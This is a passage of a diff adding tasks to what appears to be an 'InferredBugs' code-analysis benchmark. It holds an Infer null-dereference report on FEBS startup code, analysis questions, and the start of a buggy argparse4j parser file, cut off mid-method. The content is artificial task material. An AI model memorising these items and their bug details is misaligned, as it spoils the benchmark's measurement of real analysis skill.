+            String loginUrl = febsProperties.getShiro().getLoginUrl();
+            if (StringUtils.isNotBlank(contextPath))
+                url += contextPath;
+            if (StringUtils.isNotBlank(loginUrl))
+                url += loginUrl;
+            log.info(" __    ___   _      ___   _     ____ _____  ____ ");
+            log.info("/ /`  / / \\ | |\\/| | |_) | |   | |_   | |  | |_  ");
+            log.info("\\_\\_, \\_\\_/ |_|  | |_|   |_|__ |_|__  |_|  |_|__ ");
+            log.info("                                                      ");
+            log.info("FEBS 权限系统启动完毕，地址：{}", url);
+
+            boolean auto = febsProperties.isAutoOpenBrowser();
+            String[] autoEnv = febsProperties.getAutoOpenBrowserEnv();
+            int i = Arrays.binarySearch(autoEnv, active);
+            if (auto && i > 0) {
+                String osName = System.getProperty("os.name").toLowerCase();
+                if (osName.contains("windows")) {// 默认为windows时才自动打开页面
+                    //使用默认浏览器打开系统登录页
+                    Runtime.getRuntime().exec("cmd  /c  start " + url);
+                }
+            }
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getProperty("os.name")` could be null and is dereferenced at line 72.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FebsStartedUpRunner.run(ApplicationArguments)
+
+### Procedure Id:
+cc.mrbird.febs.common.runner.FebsStartedUpRunner.run(org.springframework.boot.ApplicationArguments):.abaf9be132336e25346c437a417cbc08
+
+### File:
+src/main/java/cc/mrbird/febs/common/runner/FebsStartedUpRunner.java
+
+### Key:
+FebsStartedUpRunner.java|run|NULL_DEREFERENCE
+
+### Node Key:
+3136f63d7119a7aa69484bac205f617e
+
+### Hash:
+b10e651e906cc430e809b769abb9d78e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5825/instruction.md b/inferredbugs-5825/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f46bf47a15da705c2ed481baa5de1741fe379ddd
--- /dev/null
+++ b/inferredbugs-5825/instruction.md
@@ -0,0 +1,1237 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** argparse4j
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (C) 2011 Tatsuhiro Tsujikawa
+ *
+ * Permission is hereby granted, free of charge, to any person
+ * obtaining a copy of this software and associated documentation
+ * files (the "Software"), to deal in the Software without
+ * restriction, including without limitation the rights to use, copy,
+ * modify, merge, publish, distribute, sublicense, and/or sell copies
+ * of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+ * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+ * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+ * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package net.sourceforge.argparse4j.internal;
+
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.regex.Pattern;
+
+import net.sourceforge.argparse4j.ArgumentParsers;
+import net.sourceforge.argparse4j.annotation.Arg;
+import net.sourceforge.argparse4j.helper.ASCIITextWidthCounter;
+import net.sourceforge.argparse4j.helper.PrefixPattern;
+import net.sourceforge.argparse4j.helper.ReflectHelper;
+import net.sourceforge.argparse4j.helper.TextHelper;
+import net.sourceforge.argparse4j.helper.TextWidthCounter;
+import net.sourceforge.argparse4j.impl.Arguments;
+import net.sourceforge.argparse4j.inf.Argument;
+import net.sourceforge.argparse4j.inf.ArgumentGroup;
+import net.sourceforge.argparse4j.inf.ArgumentParser;
+import net.sourceforge.argparse4j.inf.ArgumentParserException;
+import net.sourceforge.argparse4j.inf.MutuallyExclusiveGroup;
+import net.sourceforge.argparse4j.inf.Namespace;
+import net.sourceforge.argparse4j.inf.Subparsers;
+
+/**
+ * <strong>The application code must not use this class directly.</strong>
+ * 
+ */
+public final class ArgumentParserImpl implements ArgumentParser {
+
+    private Map<String, ArgumentImpl> optargIndex_ = new HashMap<String, ArgumentImpl>();
+    private List<ArgumentImpl> optargs_ = new ArrayList<ArgumentImpl>();
+    private List<ArgumentImpl> posargs_ = new ArrayList<ArgumentImpl>();
+    private List<ArgumentGroupImpl> arggroups_ = new ArrayList<ArgumentGroupImpl>();
+    private Map<String, Object> defaults_ = new HashMap<String, Object>();
+    private SubparsersImpl subparsers_ = new SubparsersImpl(this);
+    private ArgumentParserImpl mainParser_;
+    private String command_;
+    private String prog_;
+    private String description_ = "";
+    private String epilog_ = "";
+    private String version_ = "";
+    private PrefixPattern prefixPattern_;
+    private PrefixPattern fromFilePrefixPattern_;
+    private boolean defaultHelp_ = false;
+    private boolean negNumFlag_ = false;
+    private TextWidthCounter textWidthCounter_;
+    private static final Pattern NEG_NUM_PATTERN = Pattern.compile("-\\d+");
+    private static final Pattern SHORT_OPTS_PATTERN = Pattern
+            .compile("-[^-].*");
+
+    public static final String PREFIX_CHARS = "-";
+
+    public ArgumentParserImpl(String prog) {
+        this(prog, true, PREFIX_CHARS, null, new ASCIITextWidthCounter(), null,
+                null);
+    }
+
+    public ArgumentParserImpl(String prog, boolean addHelp) {
+        this(prog, addHelp, PREFIX_CHARS, null, new ASCIITextWidthCounter(),
+                null, null);
+    }
+
+    public ArgumentParserImpl(String prog, boolean addHelp, String prefixChars) {
+        this(prog, addHelp, prefixChars, null, new ASCIITextWidthCounter(),
+                null, null);
+    }
+
+    public ArgumentParserImpl(String prog, boolean addHelp, String prefixChars,
+            String fromFilePrefix) {
+        this(prog, addHelp, prefixChars, fromFilePrefix,
+                new ASCIITextWidthCounter(), null, null);
+    }
+
+    public ArgumentParserImpl(String prog, boolean addHelp, String prefixChars,
+            String fromFilePrefix, TextWidthCounter textWidthCounter) {
+        this(prog, addHelp, prefixChars, fromFilePrefix, textWidthCounter, null, null);
+    }
+
+    public ArgumentParserImpl(String prog, boolean addHelp, String prefixChars,
+            String fromFilePrefix, TextWidthCounter textWidthCounter,
+            String command, ArgumentParserImpl mainParser) {
+        this.prog_ = TextHelper.nonNull(prog);
+        this.command_ = command;
+        this.mainParser_ = mainParser;
+        this.textWidthCounter_ = textWidthCounter;
+        if (prefixChars == null || prefixChars.isEmpty()) {
+            throw new IllegalArgumentException(
+                    "prefixChars cannot be a null or empty");
+        }
+        this.prefixPattern_ = new PrefixPattern(prefixChars);
+        if (fromFilePrefix != null) {
+            this.fromFilePrefixPattern_ = new PrefixPattern(fromFilePrefix);
+        }
+        if (addHelp) {
+            String prefix = prefixChars.substring(0, 1);
+            addArgument(prefix + "h", prefix + prefix + "help")
+                    .action(Arguments.help())
+                    .help("show this help message and exit")
+                    .setDefault(Arguments.SUPPRESS);
+        }
+    }
+
+    @Override
+    public ArgumentImpl addArgument(String... nameOrFlags) {
+        return addArgument(null, nameOrFlags);
+    }
+
+    public ArgumentImpl addArgument(ArgumentGroupImpl group, String... nameOrFlags) {
+        ArgumentImpl arg = new ArgumentImpl(prefixPattern_, group, nameOrFlags);
+        if (arg.isOptionalArgument()) {
+            for (String flag : arg.getFlags()) {
+                ArgumentImpl another = optargIndex_.get(flag);
+                if (another != null) {
+                    // TODO No conflict handler ATM
+                    throw new IllegalArgumentException(String.format(
+                            "argument %s: conflicting option string(s): %s",
+                            flag, another.textualName()));
+                }
+            }
+            for (String flag : arg.getFlags()) {
+                if (NEG_NUM_PATTERN.matcher(flag).matches()) {
+                    negNumFlag_ = true;
+                }
+                optargIndex_.put(flag, arg);
+            }
+            optargs_.add(arg);
+        } else {
+            for (ArgumentImpl another : posargs_) {
+                if (arg.getName().equals(another.getName())) {
+                    // TODO No conflict handler ATM
+                    throw new IllegalArgumentException(String.format(
+                            "argument %s: conflicting option string(s): %s",
+                            arg.getName(), another.textualName()));
+                }
+            }
+            posargs_.add(arg);
+        }
+        return arg;
+    }
+
+    @Override
+    public Subparsers addSubparsers() {
+        return subparsers_;
+    }
+
+    @Override
+    public ArgumentGroup addArgumentGroup(String title) {
+        ArgumentGroupImpl group = new ArgumentGroupImpl(this, title);
+        group.setIndex(arggroups_.size());
+        arggroups_.add(group);
+        return group;
+    }
+
+    @Override
+    public MutuallyExclusiveGroup addMutuallyExclusiveGroup(String title) {
+        ArgumentGroupImpl group = new ArgumentGroupImpl(this, title);
+        group.setIndex(arggroups_.size());
+        group.setMutex(true);
+        arggroups_.add(group);
+        return group;
+    }
+
+    /**
+     * Set text to display before the argument help.
+     * 
+     * @param description
+     *            text to display before the argument help
+     * @return this
+     */
+    @Override
+    public ArgumentParserImpl description(String description) {
+        description_ = TextHelper.nonNull(description);
+        return this;
+    }
+
+    @Override
+    public ArgumentParserImpl epilog(String epilog) {
+        epilog_ = TextHelper.nonNull(epilog);
+        return this;
+    }
+
+    @Override
+    public ArgumentParserImpl version(String version) {
+        version_ = TextHelper.nonNull(version);
+        return this;
+    }
+
+    @Override
+    public ArgumentParserImpl defaultHelp(boolean defaultHelp) {
+        defaultHelp_ = defaultHelp;
+        return this;
+    }
+
+    public boolean isDefaultHelp() {
+        return defaultHelp_;
+    }
+
+    private void printArgumentHelp(PrintWriter writer, List<ArgumentImpl> args,
+            int format_width) {
+        for (ArgumentImpl arg : args) {
+            if (arg.getArgumentGroup() == null) {
+                arg.printHelp(writer, defaultHelp_, textWidthCounter_,
+                        format_width);
+            }
+        }
+    }
+
+    @Override
+    public void printHelp() {
+        PrintWriter writer = new PrintWriter(System.out);
+        printHelp(writer);
+        writer.close();
+    }
+
+    @Override
+    public void printHelp(PrintWriter writer) {
+        int format_width = ArgumentParsers.getFormatWidth();
+        printUsage(writer, format_width);
+        if (!description_.isEmpty()) {
+            writer.format("\n%s\n", TextHelper.wrap(textWidthCounter_,
+                    description_, format_width, 0, "", ""));
+        }
+        boolean subparsersUntitled = subparsers_.getTitle().isEmpty()
+                && subparsers_.getDescription().isEmpty();
+        if (checkDefaultGroup(posargs_)
+                || (subparsers_.hasSubCommand() && subparsersUntitled)) {
+            writer.print("\npositional arguments:\n");
+            printArgumentHelp(writer, posargs_, format_width);
+            if (subparsers_.hasSubCommand() && subparsersUntitled) {
+                subparsers_.printSubparserHelp(writer, format_width);
+            }
+        }
+        if (checkDefaultGroup(optargs_)) {
+            writer.print("\noptional arguments:\n");
+            printArgumentHelp(writer, optargs_, format_width);
+        }
+        if (subparsers_.hasSubCommand() && !subparsersUntitled) {
+            writer.format("\n%s:\n",
+                    subparsers_.getTitle().isEmpty() ? "subcommands"
+                            : subparsers_.getTitle());
+            if (!subparsers_.getDescription().isEmpty()) {
+                writer.format("  %s\n\n", TextHelper
+                        .wrap(textWidthCounter_, subparsers_.getDescription(),
+                                format_width, 2, "", "  "));
+            }
+            subparsers_.printSubparserHelp(writer, format_width);
+        }
+        for (ArgumentGroupImpl group : arggroups_) {
+            writer.print("\n");
+            group.printHelp(writer, format_width);
+        }
+        if (!epilog_.isEmpty()) {
+            writer.format("\n%s\n", TextHelper.wrap(textWidthCounter_, epilog_,
+                    format_width, 0, "", ""));
+        }
+        writer.flush();
+    }
+
+    private boolean checkDefaultGroup(List<ArgumentImpl> args) {
+        if (args.isEmpty()) {
+            return false;
+        }
+        for (ArgumentImpl arg : args) {
+            if (arg.getArgumentGroup() == null) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @Override
+    public String formatHelp() {
+        StringWriter writer = new StringWriter();
+        printHelp(new PrintWriter(writer));
+        return writer.toString();
+    }
+
+    private void printArgumentUsage(PrintWriter writer, List<String> opts,
+            int offset, String firstIndent, String subsequentIndent,
+            int format_width) {
+        int currentWidth = offset + firstIndent.length();
+        writer.print(firstIndent);
+        boolean first = true;
+        for (String syntax : opts) {
+            if (!first && currentWidth + syntax.length() + 1 > format_width) {
+                writer.print("\n");
+                writer.print(subsequentIndent);
+                writer.print(" ");
+                writer.print(syntax);
+                currentWidth = subsequentIndent.length() + 1 + syntax.length();
+            } else {
+                writer.print(" ");
+                writer.print(syntax);
+                currentWidth += 1 + syntax.length();
+                first = false;
+            }
+        }
+        writer.print("\n");
+    }
+
+    @Override
+    public void printUsage() {
+        printUsage(new PrintWriter(System.out));
+    }
+
+    @Override
+    public void printUsage(PrintWriter writer) {
+        printUsage(writer, ArgumentParsers.getFormatWidth());
+    }
+
+    private void printUsage(PrintWriter writer, int format_width) {
+        String usageprog = String.format("usage: %s", prog_);
+        writer.print(usageprog);
+        int offset;
+        String firstIndent;
+        String subsequentIndent;
+        String indent = "                              ";
+        int usageprogWidth = textWidthCounter_.width(usageprog);
+        if (usageprogWidth > indent.length()) {
+            writer.print("\n");
+            offset = 6;
+            firstIndent = subsequentIndent = indent.substring(0, offset);
+        } else {
+            offset = usageprogWidth;
+            firstIndent = "";
+            subsequentIndent = indent.substring(0, offset);
+        }
+        List<String> opts = new ArrayList<String>();
+        addUpperParserUsage(opts, mainParser_);
+        if (command_ != null) {
+            opts.add(command_);
+        }
+        for (ArgumentImpl arg : optargs_) {
+            if (arg.getHelpControl() != Arguments.SUPPRESS
+                    && (arg.getArgumentGroup() == null ||
+                        !arg.getArgumentGroup().isMutex())) {
+                opts.add(arg.formatShortSyntax());
+            }
+        }
+        for (ArgumentGroupImpl group : arggroups_) {
+            List<ArgumentImpl> args = filterSuppressedArgs(group.getArgs());
+            int numArgs = args.size();
+            if (group.isMutex()) {
+                if (numArgs > 1) {
+                    opts.add((group.isRequired() ? "(" : "[")
+                            + args.get(0).formatShortSyntaxNoBracket());
+                    for (int i = 1; i < numArgs - 1; ++i) {
+                        ArgumentImpl arg = args.get(i);
+                        opts.add("|");
+                        opts.add(arg.formatShortSyntaxNoBracket());
+                    }
+                    opts.add("|");
+                    opts.add(args.get(numArgs - 1).formatShortSyntaxNoBracket()
+                            + (group.isRequired() ? ")" : "]"));
+                } else if (numArgs == 1) {
+                    if (group.isRequired()) {
+                        opts.add(args.get(0).formatShortSyntaxNoBracket());
+                    } else {
+                        opts.add(args.get(0).formatShortSyntax());
+                    }
+                }
+            }
+        }
+        for (ArgumentImpl arg : posargs_) {
+            if (arg.getHelpControl() != Arguments.SUPPRESS) {
+                opts.add(arg.formatShortSyntax());
+            }
+        }
+        if (subparsers_.hasSubCommand()) {
+            opts.add(subparsers_.formatShortSyntax());
+            opts.add("...");
+        }
+        printArgumentUsage(writer, opts, offset, firstIndent, subsequentIndent,
+                format_width);
+    }
+
+    /**
+     * Returns arguments in {@code args} whose {@link Argument#getHelpControl()}
+     * do not return {@link Arguments#SUPPRESS}.
+     * 
+     * @param args
+     * @return filtered list of arguments
+     */
+    private static List<ArgumentImpl> filterSuppressedArgs(
+            Collection<ArgumentImpl> args) {
+        ArrayList<ArgumentImpl> res = new ArrayList<ArgumentImpl>();
+        for (ArgumentImpl arg : args) {
+            if (arg.getHelpControl() != Arguments.SUPPRESS) {
+                res.add(arg);
+            }
+        }
+        return res;
+    }
+
+    /**
+     * Appends command, required optional arguments and positional arguments in
+     * {@code parser} to {@code opts} recursively. Most upper parser stores
+     * first, just like post order traversal.
+     * 
+     * @param opts
+     *            Command, required optional arguments and positional arguments.
+     * @param parser
+     *            The parser
+     */
+    private void addUpperParserUsage(List<String> opts,
+            ArgumentParserImpl parser) {
+        if (parser == null) {
+            return;
+        }
+        addUpperParserUsage(opts, parser.mainParser_);
+        if (parser.command_ != null) {
+            opts.add(parser.command_);
+        }
+        for (ArgumentImpl arg : parser.optargs_) {
+            if (arg.getHelpControl() != Arguments.SUPPRESS
+                    && arg.isRequired()
+                    && (arg.getArgumentGroup() == null ||
+                        !arg.getArgumentGroup().isMutex())) {
+                opts.add(arg.formatShortSyntax());
+            }
+        }
+
+        for (ArgumentGroupImpl group : parser.arggroups_) {
+            List<ArgumentImpl> args = filterSuppressedArgs(group.getArgs());
+            int numArgs = args.size();
+            if (group.isMutex()) {
+                if (numArgs > 1) {
+                    if (group.isRequired()) {
+                        opts.add("(" + args.get(0).formatShortSyntaxNoBracket());
+                        for (int i = 1; i < numArgs - 1; ++i) {
+                            ArgumentImpl arg = args.get(i);
+                            opts.add("|");
+                            opts.add(arg.formatShortSyntaxNoBracket());
+                        }
+                        opts.add("|");
+                        opts.add(args.get(numArgs - 1)
+                                .formatShortSyntaxNoBracket() + ")");
+                    }
+                } else if (numArgs == 1) {
+                    if (group.isRequired()) {
+                        opts.add(args.get(0).formatShortSyntaxNoBracket());
+                    } else if (args.get(0).isRequired()) {
+                        opts.add(args.get(0).formatShortSyntax());
+                    }
+                }
+            }
+        }
+
+        for (ArgumentImpl arg : parser.posargs_) {
+            if (arg.getHelpControl() != Arguments.SUPPRESS) {
+                opts.add(arg.formatShortSyntax());
+            }
+        }
+    }
+
+    @Override
+    public String formatUsage() {
+        StringWriter writer = new StringWriter();
+        printUsage(new PrintWriter(writer));
+        return writer.toString();
+    }
+
+    @Override
+    public ArgumentParserImpl setDefault(String dest, Object value) {
+        defaults_.put(dest, value);
+        return this;
+    }
+
+    @Override
+    public ArgumentParser setDefaults(Map<String, Object> attrs) {
+        defaults_.putAll(attrs);
+        return this;
+    }
+
+    /**
+     * Returns default value set by {@link ArgumentImpl#setDefault(Object)} or
+     * {@link ArgumentParserImpl#setDefault(String, Object)}. Please note that
+     * while parser-level defaults always override argument-level defaults while
+     * parsing, this method examines argument-level defaults first. If no
+     * default value is found, then check parser-level defaults.
+     * 
+     * @param dest
+     *            attribute name of default value to get.
+     * @return default value of given dest.
+     */
+    @Override
+    public Object getDefault(String dest) {
+        for (ArgumentImpl arg : optargs_) {
+            if (dest.equals(arg.getDest()) && arg.getDefault() != null) {
+                return arg.getDefault();
+            }
+        }
+        for (ArgumentImpl arg : posargs_) {
+            if (dest.equals(arg.getDest()) && arg.getDefault() != null) {
+                return arg.getDefault();
+            }
+        }
+        return defaults_.get(dest);
+    }
+
+    @Override
+    public Namespace parseArgsOrFail(String args[]) {
+        try {
+            Namespace ns = parseArgs(args);
+            return ns;
+        } catch (ArgumentParserException e) {
+            handleError(e);
+            System.exit(1);
+        }
+        return null;
+    }
+
+    @Override
+    public Namespace parseArgs(String args[]) throws ArgumentParserException {
+        Map<String, Object> attrs = new HashMap<String, Object>();
+        parseArgs(args, attrs);
+        return new Namespace(attrs);
+    }
+
+    @Override
+    public void parseArgs(String[] args, Map<String, Object> attrs)
+            throws ArgumentParserException {
+        parseArgs(args, 0, attrs);
+    }
+
+    @Override
+    public void parseArgs(String[] args, Object userData)
+            throws ArgumentParserException {
+        Map<String, Object> opts = new HashMap<String, Object>();
+        parseArgs(args, opts, userData);
+    }
+
+	@Override
+	public void parseArgs(String[] args, Map<String, Object> attrs,
+			Object userData) throws ArgumentParserException {
+		parseArgs(args, 0, attrs);
+
+		Class userClass = userData.getClass();
+		while (userClass != null) {
+			for (Field field : userClass.getDeclaredFields()) {
+				Arg ann = field.getAnnotation(Arg.class);
+				if (ann != null) {
+					String argDest = ann.dest();
+					if (argDest.isEmpty()) {
+						argDest = field.getName();
+					}
+					if (!attrs.containsKey(argDest)) {
+						continue;
+					}
+					Object val = attrs.get(argDest);
+					try {
+						field.setAccessible(true);
+						field.set(userData,
+								ReflectHelper.list2Array(field.getType(), val));
+					} catch (RuntimeException e) {
+						if (!ann.ignoreError()) {
+							throw e;
+						}
+					} catch (Exception e) {
+						if (!ann.ignoreError()) {
+							throw new IllegalArgumentException(String.format(
+									"Could not set %s to field %s", val,
+									field.getName()), e);
+						}
+					}
+				}
+			}
+			for (Method method : userClass.getDeclaredMethods()) {
+				Arg ann = method.getAnnotation(Arg.class);
+				if (ann != null) {
+					String argDest = ann.dest();
+					if (argDest.isEmpty()) {
+						argDest = method.getName();
+					}
+					if (!attrs.containsKey(argDest)) {
+						continue;
+					}
+					Object val = attrs.get(argDest);
+					Class<?> fargs[] = method.getParameterTypes();
+					if (fargs.length != 1) {
+						throw new IllegalArgumentException(String.format(
+								"Method %s must have one formal parameter",
+								method.getName()));
+					}
+					try {
+						method.setAccessible(true);
+						method.invoke(userData,
+								ReflectHelper.list2Array(fargs[0], val));
+					} catch (RuntimeException e) {
+						if (!ann.ignoreError()) {
+							throw e;
+						}
+					} catch (Exception e) {
+						if (!ann.ignoreError()) {
+							throw new IllegalArgumentException(String.format(
+									"Could not call method %s with %s",
+									method.getName(), val), e);
+						}
+					}
+				}
+			}
+			userClass = userClass.getSuperclass();
+		}
+
+	}
+
+    public void parseArgs(String args[], int offset, Map<String, Object> attrs)
+            throws ArgumentParserException {
+        ParseState state = new ParseState(args, offset, negNumFlag_);
+        parseArgs(state, attrs);
+    }
+
+    public void parseArgs(ParseState state, Map<String, Object> attrs)
+            throws ArgumentParserException {
+        populateDefaults(attrs);
+        Set<ArgumentImpl> used = new HashSet<ArgumentImpl>();
+        ArgumentImpl groupUsed[] = new ArgumentImpl[arggroups_.size()];
+        int posargIndex = 0;
+        int posargsLen = posargs_.size();
+        while (state.isArgAvail()) {
+            // We first evaluate flagFound(state) before comparing arg to "--"
+            // in order to expand arguments from file.
+            if (flagFound(state) && !"--".equals(state.getArg())) {
+                String term = state.getArg();
+                int p = term.indexOf("=");
+                String flag;
+                String embeddedValue;
+                if (p == -1) {
+                    flag = term;
+                    embeddedValue = null;
+                } else {
+                    flag = term.substring(0, p);
+                    embeddedValue = term.substring(p + 1);
+                }
+                ArgumentImpl arg = optargIndex_.get(flag);
+                if (arg == null) {
+                    boolean shortOptsFound = false;
+                    if (SHORT_OPTS_PATTERN.matcher(term).matches()
+                            && optargIndex_.get(term) == null) {
+                        shortOptsFound = true;
+                        // Possible concatenated short options
+                        for (int i = 1, termlen = term.length(); i < termlen; ++i) {
+                            String shortFlag = "-" + term.substring(i, i + 1);
+                            arg = optargIndex_.get(shortFlag);
+                            if (arg == null) {
+                                shortOptsFound = false;
+                                break;
+                            }
+                            if (arg.getAction().consumeArgument()) {
+                                flag = shortFlag;
+                                shortOptsFound = true;
+                                embeddedValue = term.substring(i + 1);
+                                break;
+                            }
+                            checkMutex(arg, groupUsed);
+                            arg.run(this, attrs, shortFlag, null);
+                            used.add(arg);
+                        }
+                    }
+                    if (!shortOptsFound) {
+                        throw new UnrecognizedArgumentException(String.format(
+                                "unrecognized arguments: %s", term), this, term);
+                    }
+                }
+                assert (arg.getAction() != null);
+                ++state.index;
+                checkMutex(arg, groupUsed);
+                processArg(attrs, state, arg, flag, embeddedValue);
+                used.add(arg);
+            } else if ("--".equals(state.getArg()) && !state.consumedSeparator) {
+                state.consumedSeparator = true;
+                state.negNumFlag = false;
+                ++state.index;
+            } else if (posargIndex < posargsLen) {
+                ArgumentImpl arg = posargs_.get(posargIndex++);
+                processArg(attrs, state, arg, null, null);
+            } else if (!state.consumedSeparator && subparsers_.hasSubCommand()) {
+                checkRequiredArgument(used, posargIndex);
+                checkRequiredMutex(groupUsed);
+                subparsers_.parseArg(state, attrs);
+                return;
+            } else {
+                throw new ArgumentParserException(String.format(
+                        "unrecognized arguments: %s",
+                        TextHelper.concat(state.args, state.index, " ")), this);
+            }
+        }
+        if (subparsers_.hasSubCommand()) {
+            throw new ArgumentParserException("too few arguments", this);
+        }
+        while (posargIndex < posargsLen) {
+            ArgumentImpl arg = posargs_.get(posargIndex++);
+            processArg(attrs, state, arg, null, null);
+        }
+        checkRequiredArgument(used, posargIndex);
+        checkRequiredMutex(groupUsed);
+    }
+
+    /**
+     * Check that another option in mutually exclusive group has already been
+     * specified. If so, throw an exception.
+     * 
+     * @param arg
+     *            The argument currently processed
+     * @param groupUsed
+     *            The cache of used argument in each groups.
+     * @throws ArgumentParserException
+     *             If another option in mutually exclusive group has already
+     *             been used.
+     */
+    private void checkMutex(ArgumentImpl arg, ArgumentImpl[] groupUsed)
+            throws ArgumentParserException {
+        if (arg.getArgumentGroup() != null) {
+            if (arg.getArgumentGroup().isMutex()) {
+                ArgumentImpl usedMutexArg = groupUsed[arg.getArgumentGroup()
+                        .getIndex()];
+                if (usedMutexArg == null) {
+                    groupUsed[arg.getArgumentGroup().getIndex()] = arg;
+                } else if(usedMutexArg != arg) {
+                    throw new ArgumentParserException(String.format(
+                            "not allowed with argument %s",
+                            usedMutexArg.textualName()), this, arg);
+                }
+            }
+        }
+    }
+
+    /**
+     * @param res
+     * @param state
+     *            state.offset points to the argument next to flag
+     * @param arg
+     * @param flag
+     * @param embeddedValue
+     *            If optional argument is given as "foo=bar" or "-fbar" (short
+     *            option), embedded value is "bar". Otherwise {@code null}
+     * @throws ArgumentParserException
+     */
+    private void processArg(Map<String, Object> res, ParseState state,
+            ArgumentImpl arg, String flag, String embeddedValue)
+            throws ArgumentParserException {
+        if (!arg.getAction().consumeArgument()) {
+            if (embeddedValue == null) {
+                arg.run(this, res, flag, null);
+                return;
+            } else {
+                throw new ArgumentParserException(String.format(
+                        "ignore implicit argument '%s'", embeddedValue), this,
+                        arg);
+            }
+        }
+        if (arg.getMinNumArg() == -1
+                || (arg.getMinNumArg() == 0 && arg.getMaxNumArg() == 1)) {
+            String argval = null;
+            if (embeddedValue == null) {
+                if (state.isArgAvail() && !flagFound(state)) {
+                    argval = state.getArg();
+                    ++state.index;
+                }
+            } else {
+                argval = embeddedValue;
+            }
+            if (argval == null) {
+                if (arg.getMinNumArg() == -1) {
+                    if (arg.isOptionalArgument()) {
+                        throw new ArgumentParserException(
+                                "expected one argument", this, arg);
+                    } else {
+                        throw new ArgumentParserException("too few arguments",
+                                this);
+                    }
+                } else if (arg.isOptionalArgument()) {
+                    arg.run(this, res, flag, arg.getConst());
+                }
+            } else {
+                arg.run(this, res, flag, arg.convert(this, argval));
+            }
+        } else {
+            List<Object> list = new ArrayList<Object>();
+            if (embeddedValue == null) {
+                for (int i = 0; i < arg.getMaxNumArg() && state.isArgAvail(); ++i, ++state.index) {
+                    if (flagFound(state)) {
+                        break;
+                    }
+                    list.add(arg.convert(this, state.getArg()));
+                }
+            } else {
+                list.add(arg.convert(this, embeddedValue));
+            }
+            if (list.size() < arg.getMinNumArg()) {
+                if (arg.isOptionalArgument()) {
+                    throw new ArgumentParserException(String.format(
+                            "expected %d argument(s)", arg.getMinNumArg()),
+                            this, arg);
+                } else {
+                    throw new ArgumentParserException("too few arguments", this);
+                }
+            }
+            if (!list.isEmpty()) {
+                arg.run(this, res, flag, list);
+            }
+        }
+    }
+
+    /**
+     * Returns true if state.getArg() is flag. Note that if "--" is met and not
+     * consumed, this function returns true, because "--" is treated as special
+     * optional argument. If prefixFileChar is found in prefix of argument, read
+     * arguments from that file and expand arguments in state necessary.
+     * 
+     * @param state
+     * @return
+     * @throws ArgumentParserException
+     */
+    private boolean flagFound(ParseState state) throws ArgumentParserException {
+        while (fromFileFound(state)) {
+            state.resetArgs(extendArgs(
+                    fromFilePrefixPattern_.removePrefix(state.getArg()),
+                    state.args, state.index + 1));
+        }
+        String term = state.getArg();
+        if (state.consumedSeparator) {
+            return false;
+        } else if ("--".equals(term)) {
+            return true;
+        }
+        return prefixPattern_.match(term)
+                && (state.negNumFlag || !NEG_NUM_PATTERN.matcher(term)
+                        .matches());
+    }
+
+    private boolean fromFileFound(ParseState state) {
+        return fromFilePrefixPattern_ != null
+                && fromFilePrefixPattern_.match(state.getArg());
+    }
+
+    /**
+     * Extends arguments by reading additional arguments from file. The length
+     * of returned array is oldargs.length - offset + the number of arguments in
+     * the file. We discard [0,offset) in oldargs. So the returned array starts
+     * with oldargs[offset].
+     * 
+     * @param file
+     *            File from which additional arguments are read.
+     * @param oldargs
+     *            Old arguments
+     * @param offset
+     *            Offset in old arguments. This is typically the argument next
+     *            to fromFilePrefix argument.
+     * @return The extended new argument array.
+     * @throws ArgumentParserException
+     */
+    private String[] extendArgs(String file, String oldargs[], int offset)
+            throws ArgumentParserException {
+        List<String> list = new ArrayList<String>();
+        BufferedReader reader;
+        try {
+            reader = new BufferedReader(new InputStreamReader(
+                    new FileInputStream(file), "utf-8"));
+            String line;
+            while ((line = reader.readLine()) != null) {
+                list.add(line);
+            }
+        } catch (IOException e) {
+            throw new ArgumentParserException(String.format(
+                    "Could not read arguments from file '%s'", file), e, this);
+        }
+        String newargs[] = new String[list.size() + oldargs.length - offset];
+        list.toArray(newargs);
+        System.arraycopy(oldargs, offset, newargs, list.size(), oldargs.length
+                - offset);
+        return newargs;
+    }
+
+    private void checkRequiredArgument(Set<ArgumentImpl> used, int posargIndex)
+            throws ArgumentParserException {
